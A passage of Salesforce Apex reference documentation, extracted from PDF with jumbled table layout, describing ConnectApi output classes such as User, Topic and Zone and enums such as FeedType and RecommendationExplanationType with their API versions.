The social account that authored the social post.

36.0

content

String

The content body of the social post.

36.0

icon

36.0

postUrl

String

The external URL to the social post on the social

network.

36.0

provider

ConnectApi.
SocialNetwork
Provider

The social network that this social post belongs to.

Values are:

36.0

Facebook
GooglePlus
Instagram
Klout
Line
LinkedIn
Other
Pinterest
Rypple
SinaWeibo
Twitter
VKontakte
WeChat
WhatsApp
YouTube
The social account that is the recipient of the social 36.0
post.

recipient

ConnectApi.
SocialAccount

status

ConnectApi.
The status of the social post.
SocialPostStatus

ConnectApi.SocialPostStatus
The status of a social post.

1459

36.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

message

String

Status message.

36.0

type

ConnectApi.
Status type. Values are:
SocialPostStatusType ApprovalPending

36.0

ApprovalRecalled
ApprovalRejected
Deleted
Failed
Pending
Replied
Sent
Unknown

ConnectApi.StatusCapability (Beta)
If a feed element has this capability, it has a status that determines its visibility.
Note: This release contains a beta version of the pre-moderation feature, which means its a high-quality feature with known
limitations. This feature isnt generally available unless or until Salesforce announces its general availability in documentation or
in press releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your
purchase decisions only on the basis of generally available products and features. You can provide feedback and suggestions for
this feature in the Community Implementation group in the Success Community.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Description

Available Version

String

Subscriptions 18character ID

28.0

subject

ConnectApi.Actor

Information about the parent, that is, the thing

or person being followed

28.0

subscriber

ConnectApi.Actor

Information about the subscriber, that is, the

person following this item

28.0

url

String

Chatter REST API URL to this specific subscription 28.0

ConnectApi.TextSegment Class
Subclass of ConnectApi.MessageSegment Class
No additional properties.

ConnectApi.TimeZone Class
The user's time zone as selected in the users personal settings in Salesforce. This value does not reflect a device's current location.
Name

Type

Description

images

ConnectApi. Images associated with the topic

TopicImages

32.0

isBeingDeleted Boolean

true if the topic is currently being deleted; false otherwise.

33.0

After the topic is deleted, when attempting to retrieve the topic, the
output is NOT_FOUND.
name

String

Name of the topic

29.0

nonLocalized
Name

String

Non-localized name of the topic

36.0

1461

Reference

ConnectApi Output Classes

Name

Type

Description

Available Version

talkingAbout

Integer

Number of people talking about this topic over the last two months, 29.0
based on factors such as topic additions and comments on posts
with the topic

url

String

URL to the topic detail page

29.0

ConnectApi.TopicEndorsement Class
Represents one user endorsing another user for a single topic.
Name

Type

Description

Available
Version

endorsee

ConnectApi.User
Summary

User being endorsed

30.0

endorsementId

String

18-character ID of the endorsement record

30.0

endorser

ConnectApi.User
Summary

User performing the endorsement

30.0

Topic>

ConnectApi.TopicImages Class
Images associated with a topic.

1462

30.0

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

coverImageUrl

String

URL to a topics cover image, which appears on the 32.0

topic page. Both topics and managed topics can have
cover images.

featuredImageUrl String

URL to a managed topics featured image, which

32.0
appears wherever you feature it, for example, on the
communities home page.

ConnectApi.TopicPage Class
Name

Type

currentPageUrl String

Description

Available
Version

Chatter REST API URL identifying the current page.

29.0

nextPageUrl

String

Chatter REST API URL identifying the next page or null 29.0
if there isnt a next page. Check whether this value is
null before getting another page. If a page doesnt
exist, a ConnectApi.NotFoundException error
is returned.

topics

List<ConnectApi.
Topic>

List of topics

29.0

ConnectApi.TopicsCapability Class
If a feed element has this capability, the context user can add topics to it. Topics help users organize and discover conversations.
Subclass of ConnectApi.FeedElementCapability Class.
Property Name

Type

Description

Available Version

canAssignTopics

Boolean

true if a topic can be assigned to the feed element, 32.0

false otherwise.

items

List<ConnectApi.
Topic>

A collection of topics associated with this feed

element.

32.0

ConnectApi.TopicSuggestion Class
Name

Type

Description

Available
Version

existingTopic

ConnectApi.Topic

Topic that already exists or null for a new topic

29.0

name

String

Topic name

29.0

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Reference

31.0

TrackedChangeItem>

ConnectApi.TrackedChangeItem Class
Name

Type

Description

Available
Version

fieldName

String

The name of the field that was updated.

28.0

newValue

String

The new value of the field or null if the field length is long.

28.0

oldValue

String

The old value of the field or null if the field length is long.

28.0

ConnectApi.TrackedChangesCapability
If a feed element has this capability, it contains all changes to a record for a single tracked change event.
Subclass of ConnectApi.FeedElementCapability Class.

1464

Reference

ConnectApi Output Classes

Property Name

Type

Description

Available Version

changes

List<ConnectApi.

Collection of feed tracked changes.

32.0

TrackedChangeItem>

ConnectApi.UnauthenticatedUser Class
Subclass of ConnectApi.Actor Class
No additional properties.
Instances of this class are used as the actor for feed items and comments posted by Chatter customers.

ConnectApi.UnreadConversationCount Class
Name

Type

Description

Available
Version

hasMore

Boolean

Specifies if there are more than 50 unread

messages (true) or not (false)

29.0

unreadCount

Integer

The total number of unread messages

29.0

ConnectApi.User Class
This class is abstract.
Subclass of ConnectApi.ActorWithId Class
Superclass of:
ConnectApi.UserDetail Class
ConnectApi.UserSummary Class
Name

Type

Description

Available Version

additional
Label

String

An additional label for the user, for example,

Customer, Partner, or Acme Corporation. If the
user doesnt have an additional label, the value is
null.

30.0

Users nickname in the community

32.0

Name of the company

28.0

communityNickname String
companyName

String

If your community allows access without logging in,

the value is null for guest users.
displayName

String

Users name that is displayed in the community. If

32.0
nicknames are enabled, the nickname is displayed. If
nicknames arent enabled, the full name is displayed.

firstName

String

User's first name

1465

28.0

Reference

Name

ConnectApi Output Classes

Type

Description

Available Version

isChatterGuest Boolean

true if user is a Chatter customer; false otherwise. 28.0

isInThisCommunity Boolean

true if user is in the same community as the context 28.0

user; false otherwise

lastName

String

User's last name

28.0

photo

ConnectApi.Photo

Information about the user's photos

28.0

reputation

ConnectApi.Reputation Reputation of the user

Class

32.0

title

String

28.0

Users title
If your community allows access without logging in,
the value is null for guest users.

userType

ConnectApi.UserType

Specifies the type of user.

Enum

ChatterGuestUser is an external user in a

private group.

28.0

ChatterOnlyUser is a Chatter Free

customer.
GuestUser is unauthenticated.
InternalUser is a standard organization
member.
PortalUser is an external user in a customer
portal, partner portal, or community.
SystemUser is Chatter Expert or a system user.
UndefinedUser is a user type that is a
custom object.

ConnectApi.UserCapabilities Class
The capabilities associated with a user profile.
Name

Type

Description

Available
Version

canChat

Boolean

Specifies if the context user can use Chatter Messenger with the
subject user (true) or not (false)

29.0

canDirectMessage Boolean

Specifies if the context user can direct message the subject user
(true) or not (false)

29.0
29.0

canEdit

Boolean

Specifies if the context user can edit the subject users account
(true) or not (false)

canFollow

Boolean

Specifies if the context user can follow the subject users feed (true) 29.0
or not (false)

1466

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

canViewFeed

Boolean

Specifies if the context user can view the feed of the subject user
(true) or not (false)

29.0

Specifies if the context user can view the full profile of the subject
user (true) or only the limited profile (false)

29.0

canViewFullProfile Boolean

isModerator

Boolean

Specifies if the subject user is a Chatter moderator or admin (true) 29.0

or not (false)

ConnectApi.UserChatterSettings Class
A users global Chatter settings.
Name

Type

Description

Available
Version

defaultGroup
ConnectApi.GroupEmail The default frequency with which a user receives email 28.0
from a group when they join it.
EmailFrequency Frequency Enum

ConnectApi.UserDetail Class
Subclass of ConnectApi.User Class
Details about a user in an organization.
If the context user doesnt have permission to see a property, its value is set to null.
Name

Type

Description

Available
Version

aboutMe

String

Text from user's profile

28.0

address

ConnectApi.Address

Users address

28.0

bannerPhoto

ConnectApi.
BannerPhoto

Users banner photo

36.0

chatterActivity ConnectApi.Chatter
Activity

Chatter activity statistics

28.0

Number of groups user is following

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28.0
28.0

Reference

ConnectApi Output Classes

Name

Type

Description

nextPageUrl

String

previousPageUrl String

Chatter REST API URL identifying the previous page or null 28.0
if there isnt a previous page.

total

Type

Integer

Total number of groups across all pages

28.0

ConnectApi.UserPage Class
Name

Type

Description

Available
Version

currentPageToken Integer

Token identifying the current page.

28.0

currentPageUrl String

Chatter REST API URL identifying the current page.

28.0

1468

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

nextPageToken

Integer

Token identifying the next page or null if there is no next 28.0

page.

nextPageUrl

String

previousPageToken Integer

Token identifying the previous page or null if there is no 28.0

previous page.

previousPageUrl String

Chatter REST API URL identifying the previous page or null 28.0
if there isnt a previous page.

users

List<ConnectApi.User List of user detail information. If the context user doesnt have 28.0
permission to see a property, the property is set to null.
Detail>

ConnectApi.UserProfile Class
Details necessary to render a view of a user profile.
Name

Type

Description

Available
Version

capabilities

ConnectApi.UserCapabilities

The context users capabilities specific to the

subject users profile

29.0

String

The ID of the user attached to the profile

29.0

tabs

List<ConnectApi.UserProfileTab> The tabs visible to the context user specific to the 29.0

subject users profile

url

String

The URL of the users profile

29.0

userDetail

ConnectApi.UserDetail

The details about the user attached to the profile 29.0

ConnectApi.UserProfileTab Class
Information about a profile tab.
Name

Type

Descriptio

Available
Version

String

The tabs unique identifier or 18character ID

29.0

isDefault

Boolean

Specifies if the tab appears first when clicking the 29.0

user profile (true) or not (false)

1469

Reference

ConnectApi Output Classes

Name

Type

Descriptio

Available
Version

tabType

ConnectApi.UserProfile
TabType Enum

Specifies the type of tab

29.0

CustomVisualForceTab that displays

data from a Visualforce page.
CustomWebTab that displays data from
any external Web-based application or Web
page.
ElementTab that displays generic
content inline.
FeedTab that displays the Chatter feed.
OverviewTab that displays user details.

tabUrl

String

The current tabs content URL (for non built-in

tab types)

29.0

ConnectApi.UserReferencePage
A list of user references.
Property Name

Type

Description

28.0

canViewAllData Boolean

User has View all Data permission

28.0

canViewAllGroups Boolean

User has View all Groups permission

28.0

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Reference

Property

ConnectApi Output Classes

Description

Available
Version

canViewAllUsers Boolean

User has View all Users permission

28.0

canViewCommunity Boolean
Switcher

User can see the community switcher menu.

34.0

User can see other users Chatter profiles

28.0

canViewPublicFiles Boolean

User can see all files marked as public

28.0

currencySymbol String

Currency symbol to use for displaying currency values. Applicable only when 28.0
the ConnectApi.Features.multiCurrency property is false.

canViewFull
UserProfile

Type

The ISO code for the default currency. Applicable only when the
ConnectApi.Features.multiCurrency property is true.

28.0

userId

String

18-character ID of the user

28.0

userLocale

String

Locale of user

28.0

ConnectApi.UserSummary Class
Subclass of ConnectApi.User Class

1471

Reference

ConnectApi Output Classes

Name

Type

Description

Available
Version

isActive

Boolean

true if user is active; false otherwise

28.0

ConnectApi.Zone Class
Information about a Chatter Answers zone.
Name

Type

Description

Available
Version

description

String

The description of the zone

29.0

String

The zone ID

29.0

isActive

Boolean

Indicates whether or not the zone is active

zones

List<ConnectApi.Zone>

A list of one or more zones

29.0

currentPageUrl String

Chatter REST API URL identifying the current page. 29.0

String

Chatter REST API URL identifying the next page 29.0

or null if there isnt a next page. Check whether
this value is null before getting another page.
If a page doesnt exist, a

nextPageUrl

1472

Reference

Name

ConnectApi Output Classes

Type

Description

Available
Version

ConnectApi.NotFoundException error

is returned.

ConnectApi.ZoneSearchPage Class
Information about the search results for zones.
Name

Type

Description

Available
Version

currentPageToken String

Token identifying the current page.

29.0

currentPageUrl String

Chatter REST API URL identifying the current page. 29.0

items

List<ConnectApi.ZoneSearchResult> List of search results

29.0

nextPageToken

String

Token identifying the next page or null if there 29.0

is no next page.

nextPageUrl

String

Chatter REST API URL identifying the next page 29.0

or null if there isnt a next page. Check whether
this value is null before getting another page.
If a page doesnt exist, a
ConnectApi.NotFoundException error
is returned.

ConnectApi.ZoneSearchResult Class
Information about a specific zone search result.
Name

Type

Description

Available
Version

hasBestAnswer

Boolean

Indicates if the search result has a best answer

29.0

String

ID of the search result. The search result can be a 29.0

question or an article.

title

String

Title of the search result

29.0

type

ConnectApi.ZoneSearch
ResultType Enum

Specifies the zone search result type

29.0

ArticleSearch results contain only

articles.
QuestionSearch results contain only
questions.

voteCount

String

Number of votes given to the search result

1473

29.0

Reference

ConnectApi Enums

ConnectApi Enums
Enums specific to the ConnectApi namespace.
ConnectApi enums inherit all properties and methods of Apex enums.

Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Enum

Description

ConnectApi.ActionLink
ExecutionsAllowed

Specifies the number of times an action link can be executed.

OnceAn action link can be executed only once across all users.
OncePerUserAn action link can be executed only once for each user.
UnlimitedAn action link can be executed an unlimited number of times by each user.
If the action links actionType is Api or ApiAsync, you cant use this value.

ConnectApi.
ActionLinkType

Specifies the type of action link.

ApiThe action link calls a synchronous API at the action URL. Salesforce sets the status
to SuccessfulStatus or FailedStatus based on the HTTP status code returned
by your server.
ApiAsyncThe action link calls an asynchronous API at the action URL. The action remains
in a PendingStatus state until a third party makes a request to
/connect/action-links/actionLinkId to set the status to
SuccessfulStatus or FailedStatus when the asynchronous operation is
complete.
DownloadThe action link downloads a file from the action URL.
UiThe action link takes the user to a Web page at the action URL.

ConnectApi.BannerStyle

Decorates a feed item with a color and set of icons.

AnnouncementAn announcement displays in a designated location in the Salesforce
UI until 11:59 p.m. on its expiration date, unless its deleted or replaced by another
announcement.

ConnectApi.BundleType

Specifies the type of bundle.

GenericBundleA bundle that contains no additional information and is just a
collection of feed elements.
TrackedChangesA bundle that represents a collection of feed tracked changes. The
bundle includes summary information about the feed tracked changes that make up the
bundle.

ConnectApi.
CaseActorType

Specifies the type of user who made the comment.

Customerif a Chatter customer made the comment
CustomerServiceif a service representative made the comment

ConnectApi.CaseComment
EventType

Specifies the event type of a comment in Case Feed.

NewInternalA case comment that has newly been marked Internal Only.
NewPublishedA newly published case comment.

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Reference

Enum

ConnectApi Enums

Description
NewPublishedByCustomerA case comment by a customer that was newly
published.
PublishExistingAn existing case comment that was republished.
PublishExistingByCustomerAn existing case comment by a customer that
was republished.
UnpublishExistingByCustomerAn existing case comment by a customer that
was unpublished.
UnpublishExsitingAn existing case comment that was unpublished.
Note: Unfortunately, this typo is in the code, not the documentation. Use this spelling
in your code.

ConnectApi.CommentType

Specifies the type of comment.

ContentCommentComment holds a content capability.
TextCommentComment contains only text.

ConnectApi.
Specifies the visibility behavior of a flag for various user types.
CommunityFlagVisibility ModeratorsOnlyThe flag is visible only to users with moderation permissions on the

flagged element or item.

SelfAndModeratorsThe flag is visible to the creator of the flag and to users with
moderation permissions on the flagged element or item.
ConnectApi.
CommunityStatus

Specifies the status of the community.

Live
Inactive
UnderConstruction

ConnectApi.DigestPeriod Specifies the period of time that is included in a Chatter email digest.

DailyDigestThe email includes up to the 50 latest posts from the previous day.
WeeklyDigestThe email includes up to the 50 latest posts from the previous week.
ConnectApi.EmailMessage Specifies the direction of an email message on a case.
Direction
InboundAn inbound message (sent by a customer).

OutboundAn outbound message (sent to a customer by a support agent).

ConnectApi.
DatacloudUserType

Specifies the type of user.

MonthlyA user type thats assigned monthly point limits for purchasing Data.com
records. Only the assigned user can use monthly points. Points expire at the end of the
month. Monthly is the default setting for DatacloudUserType.
ListpoolA user type that allows users to draw from a pool of points to purchase
Data.com records.

1475

Reference

Enum

ConnectApi Enums

Description

ConnectApi.DatacloudImportStatusTypeEnum Specifies the status of the import.

SuccessIndicates that selected records were added to the organizations CRM.

DuplicateMarks a record that is already in the organizations CRM. The API determines
whether an organization allows the addition of duplicate records in its CRM.
ErrorIndicates that the selected records werent added to the organizations CRM.
ConnectApi.FeedDensity

Specifies the density of the feed.

AllUpdatesDisplays all updates from people and records the user follows and groups
the user is a member of.
FewerUpdatesDisplays all updates from people and records the user follows and
groups the user is a member of, but hides some system-generated updates from records.

ConnectApi.
FeedElementCapability
Type

Specifies the capabilities of a feed element in API versions 31.0 and later. If a capability exists on
a feed element, the capability is available, even if the value doesnt exist or is null. If the
capability doesnt exist, it isnt available.
AssociatedActionsThe feed element includes information about actions associated
with it.
ApprovalThe feed element includes information about an approval.
BannerThe body of the feed element has an icon and border.
BookmarksThe context user can bookmark the feed element. Bookmarked feed elements
are visible in the bookmarks feed.
BundleThe feed element has a group of other feed elements that display as a bundle
in the feed. The bundle type determines the additional data associated with the bundle.
CanvasThe feed element renders a canvas app.
CaseCommentThe feed element has a case comment in the case feed.
ChatterLikesThe context user can like the feed element.
CommentsThe context user can add comments to the feed element.
ContentThe feed element has a file.
DashboardComponentSnapshotThe feed element has a dashboard component
snapshot.
EditUsers who have permission can edit the feed element.
EmailMessageThe feed element has an email message from a case.
EnhancedLinkThe feed element has a link that can contain supplemental information
like an icon, a title, and a description.
FilesThe feed element has one or more file attachments.
InteractionsThe feed element has information about user interactions.
LinkThe feed element has a URL.
ModerationUsers in a community can flag the feed element for moderation.
MuteThe context user can mute the feed element.
OriginThe feed element was created by a feed action.
PollThe feed element has poll voting.

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Reference

Enum

ConnectApi Enums

Description
QuestionAndAnswersThe feed element has a question, and users can add answers
to the feed element instead of comments. Users can also select the best answer.
RecommendationsThe feed element has a recommendation.
RecordSnapshotThe feed element has all the snapshotted fields of a record for a
single create record event.
SocialPostThe feed element can interact with a social post on a social network.
StatusThe feed element has a status that determines its visibility.
TopicsThe context user can add topics to the feed element.
TrackedChangesThe feed element has all changes to a record for a single tracked
change event.

ConnectApi.FeedElement
Type

Feed elements are the top-level objects that a feed contains. The feed element type describes
the characteristics of that feed element.
BundleA container of feed elements. A bundle also has a body made up of message
segments that can always be gracefully degraded to text-only values.
FeedItemA feed item has a single parent and is scoped to one community or across
all communities. A feed item can have capabilities such as bookmarks, canvas, content,
comment, link, poll. Feed items have a body made up of message segments that can always
be gracefully degraded to text-only values.
RecommendationA recommendation is a feed element with a recommendations
capability. A recommendation suggests records to follow, groups to join, or applications
that are helpful to the context user.

ConnectApi.FeedEntity
Status

Specifies the status of the feed item.

PendingReviewThe feed item isnt approved yet and therefore isnt published or
visible.
PublishedThe feed item is approved and visible.

ConnectApi.FeedFavorite Specifies the origin of the feed favorite, such as whether its a search term or a list view:
Type
ListView

Search
Topic
ConnectApi.FeedFilter

Specifies a filter value for a feed.

AllQuestionsOnly feed elements that are questions.
CommunityScopedOnly feed elements that are scoped to communities. Currently,
these feed elements have a User or a Group parent record. However, other parent record
types could be scoped to communities in the future. Feed elements that are always visible
in all communities are filtered out. This value is valid only for the UserProfile feed.
SolvedQuestionsOnly feed elements that are questions and that have a best answer.
UnansweredQuestionsOnly feed elements that are questions and that dont have
any answers.

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Reference

Enum

ConnectApi Enums

Description
UnsolvedQuestionsOnly feed elements that are questions and that dont have a
best answer.

ConnectApi.FeedItem
AttachmentType

Specifies the attachment type for feed item output objects:

ApprovalA feed item requiring approval.
BasicTemplateA feed item with a generic rendering of an image, link, and title.
CanvasA feed item that contains the metadata to render a link to a canvas app.
CaseCommentA feed item created from a comment to a case record.
CaseCommentA feed item created from a comment to a case record.
ContentA feed item with a file attached.
DashboardComponentA feed item with a dashboard attached.
EmailMessageAn email attached to a case record in Case Feed.
LinkA feed item with a URL attached.
PollA feed item with a poll attached.
QuestionA feed item with a question attached.
RecordSnapshotThe feed item attachment contains a view of a record at a single
ConnectApi.FeedItemType.CreateRecordEvent.
TrackedChangeAll changes to a record for a single
ConnectApi.FeedItemType.TrackedChange event.

ConnectApi.FeedItemType Specifies the type of feed item, such as a content post or a text post.

ActivityEventFeed item generated in Case Feed when an event or task associated

with a parent record with a feed enabled is created or updated.
AdvancedTextPostA feed item with advanced text formatting, such as a group
announcement post.
ApprovalPostFeed item with an approval capability. Approvers can act on the feed
item parent.
AttachArticleEventFeed item generated when an article is attached to a case in
Case Feed.
BasicTemplateFeedItemFeed item with an enhanced link capability.
CallLogPostFeed item generated when a call log is saved to a case in Case Feed.
CanvasPostFeed item generated by a canvas app in the publisher or from Chatter
REST API or Chatter in Apex. The post itself is a link to a canvas app.
CaseCommentPostFeed item generated when a case comment is saved in Case Feed.
ChangeStatusPostFeed item generated when the status of a case is changed in
Case Feed.
ChatTranscriptionPostFeed item generated in Case Feed when a Live Agent
chat transcript is saved to a case.
CollaborationGroupCreatedFeed item generated when a new public group
is created. Contains a link to the new group.

1478

Reference

Enum

ConnectApi Enums

Description
CollaborationGroupUnarchivedDeprecated. Feed item generated when an
archived group is activated.
ContentPostFeed item with a content capability.
CreateRecordEventFeed item that describes a record created in the publisher.
DashboardComponentAlertFeed item with a dashboard alert.
DashboardComponentSnapshotFeed item with a dashboard component snapshot
capability.
EmailMessageEventFeed item generated when an email is sent from a case in Case
Feed.
FacebookPostDeprecated. Feed item generated when a Facebook post is created
from a case in Case Feed.
LinkPostFeed item with a link capability.
MilestoneEventFeed item generated when a case milestone is either completed
or reaches a violation status. Contains a link to the case milestone.
PollPostFeed item with a poll capability. Viewers of the feed item are allowed to vote
on the options in the poll.
ProfileSkillPostFeed item generated when a skill is added to a users profile.
QuestionPostFeed item generated when a question is asked.
As of API version 33.0, a feed item of this type can have a content capability and a link
capability.
ReplyPostFeed item generated by a Chatter Answers reply.
RypplePostFeed item generated when a user posts thanks.
SocialPostFeed item generated when a social post is created from a case in Case
Feed.
TextPostFeed item containing text only.
TrackedChangeFeed item created when one or more fields on a record have been
changed.
UserStatusDeprecated. A user's post to their own profile.

ConnectApi.FeedItem
VisibilityType

Specifies the type of users who can see a feed item.

AllUsersVisibility is not limited to internal users.
InternalUsersVisibility is limited to internal users.

ConnectApi.
FeedSortOrder

Specifies the order returned by the sort, such as by date created or last modified:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

ConnectApi.FeedType

Specifies the type of feed:

BookmarksContains all feed items saved as bookmarks by the context user.
CompanyContains all feed items except feed items of type TrackedChange. To see
the feed item, the user must have sharing access to its parent.

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Enum

ConnectApi Enums

Description
FilesContains all feed items that contain files posted by people or groups that the
context user follows.
FilterContains the news feed filtered to contain feed items whose parent is a specified
object type.
GroupsContains all feed items from all groups the context user either owns or is a
member of.
HomeContains all feed items associated with any managed topic in a community.
ModerationContains all feed items that have been flagged for moderation. The
Communities Moderation feed is available only to users with Moderate Community Feeds
permissions.
MuteContains all feed items that the context user muted.
NewsContains all updates for people the context user follows, groups the user is a member
of, and files and records the user is following. Also contains all updates for records whose
parent is the context user and every feed item and comment that mentions the context user
or that mentions a group the context user is a member of.
PeopleContains all feed items posted by all people the context user follows.
RecordContains all feed items whose parent is a specified record, which could be a
group, user, object, file, or any other standard or custom object. When the record is a group,
the feed also contains feed items that mention the group. When the record is a user, the
feed contains only feed items on that user. You can get another users record feed.
ToContains all feed items with mentions of the context user, feed items the context user
commented on, and feed items created by the context user that are commented on.
TopicsContains all feed items that include the specified topic.
UserProfileContains feed items created when a user changes records that can be
tracked in a feed, feed items whose parent is the user, and feed items that @mention the
user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another users user profile feed.

ConnectApi.FieldChange
ValueType

Specifies the value type of a field change:

NewValueA new value
OldValueAn old value

ConnectApi.
FilePublishStatus

The publish status of the file:

PendingAccessFile is pending publishing.
PrivateAccessFile is private.
PublicAccessFile is public.

ConnectApi.
FileSharingOption

Specifies the sharing option of the file:

AllowedResharing of the file is allowed.
RestrictedResharing of the file is restricted.

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ConnectApi Enums

Enum

Description

ConnectApi.
FileSharingType

Specifies the sharing role of the file:

AdminOwner permission, but doesnt own the file.
CollaboratorViewer permission, and can edit, change permissions, and upload a
new version of a file.
OwnerCollaborator permission, and can make a file private, and delete a file.
ViewerCan view, download, and share a file.
WorkspaceManagedPermission controlled by the library.

ConnectApi.GroupArchive Specifies a set of groups based on whether the groups are archived or not.
Status
AllAll groups, including groups that are archived and groups that are not archived.

ArchivedOnly groups that are archived.

NotArchivedOnly groups that are not archived.
ConnectApi.GroupEmail
Frequency

Specifies the frequency with which a user receives email from a group.
EachPost
DailyDigest
WeeklyDigest
Never
UseDefault

ConnectApi.
GroupMembershipType

Specifies the type of membership the user has with the group, such as group owner, manager,
or member.
GroupOwner
GroupManager
NotAMember
NotAMemberPrivateRequested
StandardMember

ConnectApi.
GroupMembership
RequestStatus

The status of a request to join a private group.

Accepted
Declined
Pending

ConnectApi.
GroupVisibilityType

Specifies the group visibility type.

PrivateAccessOnly members of the group can see posts to this group.
PublicAccessAll users within the community can see posts to this group.
UnlistedReserved for future use.

ConnectApi.HttpRequest
Method

Specifies the HTTP method.

HttpDeleteReturns HTTP 204 on success. Response body or output class is empty.
HttpGetReturns HTTP 200 on success.

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Enum

ConnectApi Enums

Description
HttpHeadReturns HTTP 200 on success. Response body or output class is empty.
HttpPatchReturns HTTP 200 on success or HTTP 204 if the response body or output
class is empty.
HttpPostReturns HTTP 201 on success or HTTP 204 if the response body or output
class is empty. Exceptions are the batch posting resources and methods, which return HTTP
200 on success.
HttpPutReturn HTTP 200 on success or HTTP 204 if the response body or output class
is empty.

ConnectApi.
MaintenanceType

Specifies the type of maintenance. One of the following:

DowntimeDowntime maintenance.
GenerallyAvailableMaintenance with generally available mode.
MaintenanceWithDowntimeScheduled maintenance with downtime.
ReadOnlyMaintenance with read-only mode.

ConnectApi.ManagedTopic Specifies the type of managed topic.

Type
FeaturedTopics that are featured, for example, on the community home page, but

dont provide overall navigation.

NavigationalTopics that display in a navigational menu in the community.
ConnectApi.MarkupType

Specifies the type of rich text markup.

BoldBold tag.
CodeCode tag.
ItalicItalic tag.
ListItemList item tag.
OrderedListOrdered list tag.
ParagraphParagraph tag.
StrikethroughStrikethrough tag.
UnderlineUnderline tag.
UnorderedListUnordered list tag.

ConnectApi.
MentionCompletionType

Specifies the type of mention completion:

AllAll mention completions, regardless of the type of record to which the mention
refers.
GroupMention completions for groups.
UserMention completions for users.

ConnectApi.
Specifies the type of validation error for a proposed mention, if any.
MentionValidationStatus DisallowedThe proposed mention is invalid and is rejected because the context user

is trying to mention something that is not allowed. For example, a user who is not a member
of a private group is trying to mention the private group.

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Enum

ConnectApi Enums

Description
InaccessibleThe proposed mention is allowed but the user or record being
mentioned isnt notified because they don't have access to the parent record being discussed.
OkThere is no validation error for this proposed mention.

ConnectApi.
MessageSegmentType

Specifies the type of message segment, such as text, link, field change name, or field change
value.
EntityLink
FieldChange
FieldChangeName
FieldChangeValue
Hashtag
InlineImage
Link
MarkupBegin
MarkupEnd
Mention
MoreChanges
ResourceLink
Text

ConnectApi.
OperationType

Specifies the operation to carry out on the file.

AddAdds the file to the feed element.
RemoveRemoves the file from the feed element.

ConnectApi.
PlatformAction
GroupCategory

Specifies the location of an action link group on an associated feed element.

ConnectApi.
PlatformActionStatus

Specifies the status of the action.

PrimaryThe action link group is displayed in the body of the feed element.
OverflowThe action link group is displayed in the overflow menu of the feed element.

FailedStatusThe action link execution failed.

NewStatusThe action link is ready to be executed. Available for Download and Ui
action links only.
PendingStatusThe action link is executing. Choosing this value triggers the API call
for Api and ApiAsync action links.
SuccessfulStatusThe action link executed successfully.

ConnectApi.
PlatformActionType

Specifies the type of platform action.

ActionLinkAn indicator on a feed element that targets an API, a web page, or a file,
represented by a button in the Salesforce Chatter feed UI.
CustomButtonWhen clicked, opens a URL or a Visualforce page in a window or
executes JavaScript.

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Enum

ConnectApi Enums

Description
InvocableAction
ProductivityActionProductivity actions are predefined by Salesforce and are
attached to a limited set of objects. You cant edit or delete productivity actions.
QuickActionA global or object-specific action.
StandardButtonA predefined Salesforce button such as New, Edit, and Delete.

ConnectApi.
Specifies the action to take on a recommendation.
RecommendationActionType followFollow a file, record, topic, or user.

joinJoin a group.
viewView a file, group, article, record, user, custom, or static recommendation.
ConnectApi.
RecommendationAudience
CriteriaType

Specifies the recommendation audience criteria type.

ConnectApi.
RecommendationAudience
MemberOperationType

Specifies the operation to carry out on the audience members.

ConnectApi.
RecommendationChannel

Specifies a way to tie recommendations together, for example, to display recommendations in

specific places in the UI or to show recommendations based on time of day or geographic
locations.

CustomListA custom list of users makes up the audience.

MaxDaysInCommunityNew community members make up the audience.

AddAdds specified members to the audience.

RemoveRemoves specified members from the audience.

CustomChannel1Custom recommendation channel. Not used by default. Work with

your community manager to define custom channels. For example, community managers
can use Community Builder to determine where recommendations appear.
CustomChannel2Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
CustomChannel3Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
CustomChannel4Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
CustomChannel5Custom recommendation channel. Not used by default. Work with
your community manager to define custom channels.
DefaultChannelDefault recommendation channel. Recommendations appear by
default on the Napili community home and question detail pages and in the feed in
communities in the Salesforce1 mobile browser app. They also appear anywhere community
managers add recommendations using Community Builder in communities using the
Summer 15 or later version of the Napili template.
ConnectApi.
Indicates the reason for a recommendation.
RecommendationExplanationType ArticleViewedTogetherArticles often viewed together with the article that the

context user just viewed.

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Enum

ConnectApi Enums

Description
ArticleViewedTogetherWithViewersArticles often viewed together with
other records that the context user views.
CustomCustom recommendations.
FilePopularFiles with many followers or views.
FileViewedTogetherFiles often viewed at the same time as other files that the
context user views.
FollowedTogetherWithFolloweesUsers often followed together with other
records that the context user follows.
GroupMembersFollowedGroups with members that the context user follows.
GroupNewRecently created groups.
GroupPopularGroups with many active members.
ItemViewedTogetherRecords often viewed at the same time as other records that
the context user views.
PopularAppApplications that are popular.
RecordOwnedRecords that are owned by the context user.
RecordParentOfFollowedParent records of records that the context user follows.
RecordViewedRecords that the context user recently viewed.
TopicFollowedTogetherTopics often followed together with the record that the
context user just followed.
TopicFollowedTogetherWithFolloweesTopics often followed together with
other records that the context user follows.
TopicPopularFollowedTopics with many followers.
TopicPopularLikedTopics on posts that have many likes.
UserDirectReportUsers who report to the context user.
UserFollowedTogetherUsers often followed together with the record that the
context user just followed.
UserFollowsSameUsersUsers who follow the same users as the context user.
UserManagerThe context users manager.
UserNewRecently created users.
UserPeerUsers who report to the same manager as the context user.
UserPopularUsers with many followers.
UserViewingSameRecordsUsers who view the same records as the context user.

ConnectApi.
RecommendationType

Specifies the type of record being recommended.

apps
articles
files
groups
records
topics

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Enum

ConnectApi Enums

Description
users

ConnectApi.
RecommendedObjectType

Specifies the type of object being recommended.

ConnectApi.
RecordColumnOrder

The order in which fields are rendered in a grid.

TodayStatic recommendations that dont have an ID, for example, the Today app
recommendation.

LeftRightFields are rendered from left to right.

TopDownFields are rendered from the top down.

ConnectApi.
RecordFieldType

The data type of a record field.

Address
Blank
Boolean
Compound
CreatedBy
Date
DateTime
Email
LastModifiedBy
Location
